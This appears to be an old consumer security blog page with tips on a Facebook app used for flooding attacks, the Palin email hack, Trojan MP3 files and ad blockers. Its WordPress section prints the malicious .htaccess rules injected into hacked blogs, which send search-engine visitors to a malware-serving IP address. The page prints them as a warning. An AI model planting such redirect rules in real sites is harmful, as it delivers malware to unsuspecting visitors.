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Your Facebook account can be used to attack other sites. The Greek Computer Science Institute made a bogus application to test and in with a few hours they had 1000 users.

The application shows a picture from a well know website but it also ask for 3 pictures from another websites. That request to see 3 pictures from another website can crash that site or even server when the amount of users comes up to a few thousands.

Facebook have few programmers to check these attacks and there is no way for the users to check each application.

As soon as you log in to your Facebook account the attack starts and when you log if it stops. Do not let your computer become a zombie watch what you join.

I do not believe some one hacked Republican vice presidential hopeful Gov. Sarah Palin account I guess she left the Yahoo account on some of the governments computer since it is a student related to another government official involved.

All this talk about hacking just makes people scared that all the emails are in risk and that is not the case. Most of the time when your email account get hacked it is because you forget to log out or use account on another open computer.

Hacking websites is another matter because there you sometimes have some unsecure code to hack but with the Yahoo website is pretty secure.

But off course it sounds much cooler to say someone hacked into her account and off course she gets her name in the magazines.

There is more then one reason that you should update your WordPress blog to 2.61 but the biggest reason is that many WordPress blogs have been hacked with this.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://87.248.180.88/in.html?s=hg [R,L]
Errordocument 404 http://87.248.180.88/in.html?s=hg_err

It will go to a Russian site that will ask you to download an antivirus and try to install a malware on your computer. If you not updated your blog do it now and be safe.

There is a big warning from anti virus companies that warn for mp3 files from limewire and edonkey. The Trojan horse will ask to install a problem to play the mp3 and then your computer will be a big spam grand central.

If you have a virus problem please check the file before even clicking on it. If the mp3 ask to install a program to play the mp3 file just delete the file and if possible rate it as a Trojan horse.

The Trojan horse has hundreds of different music name so we can not give you any artist that you should look out for.

If you are working a lot on internet or you simply like to surf around, an ad blocker is a must so you can avoid all the annoying spam and pop-ups. Pop-ups is one of the most annoying things you can find online it will surely break your concentration. Ad blocker can also be useful to you as a parent to protect your kids from adult material and other shocking videos.

Another thing I like about ad blockers is that it can increase the speed of your web browser. This is simply because your internet doesn’t have to use resources on opening pop-ups anymore. Pop-ups can take away a lot of your bandwidth and kill your memory and ram. Ad blockers cannot do everything or you so you should also have a antivirus and a program that can delete old and useless files from your PC so you gain more disc space. My last tip is to avoid sites with lots of ads or places that look “fishy” or seem to promise illegal or questionable services. On these kind of sites you will for sure bump into some virus trouble etc. So be careful and do not hesitate to get a pop up blocker right now.